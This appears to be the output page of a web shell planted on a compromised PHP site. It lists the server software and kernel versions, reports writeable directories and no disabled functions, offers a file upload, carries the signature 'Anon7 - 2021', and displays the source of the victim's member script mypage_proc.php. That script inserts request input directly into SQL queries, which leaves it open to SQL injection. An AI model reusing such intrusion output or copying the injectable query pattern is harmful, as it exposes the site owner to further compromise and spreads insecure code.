KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /home/queenjbs/www/member/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/queenjbs/www/member/mypage_proc.php
<?include "$DOCUMENT_ROOT/conf/conf_dir.php";?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?
$table_names = "user_cash";

if($idx){
		//회원신청 insert 구문
		$resultU = Get_dbres("SELECT userid,jname,jname2,username FROM user where id='$idx'");
		$rowU = mysql_fetch_array($resultU);
			$chkflag = Get_db("SELECT id from user_cash where user_id = $idx and flag='A'");
			$id = trim($rowU[userid]);
			//$id  = strtolower($rowU[userid]);
		if(!$chkflag){

		$query = "INSERT INTO $table_names
					(user_id,userid,jcname,ccname,ecname,reg_date,flag)
				VALUES
					('$idx','$id','$rowU[jname]','$rowU[jname2]','$rowU[username]',now(),'A')";

		$result = mysql_query($query,$db_con);
		}



}

$pathURL="/member/?tab=12&tabs=5";

?>
<script>
alert("保存しました.");
parent.location.href = "<?=$pathURL?>";
</script>

Anon7 - 2021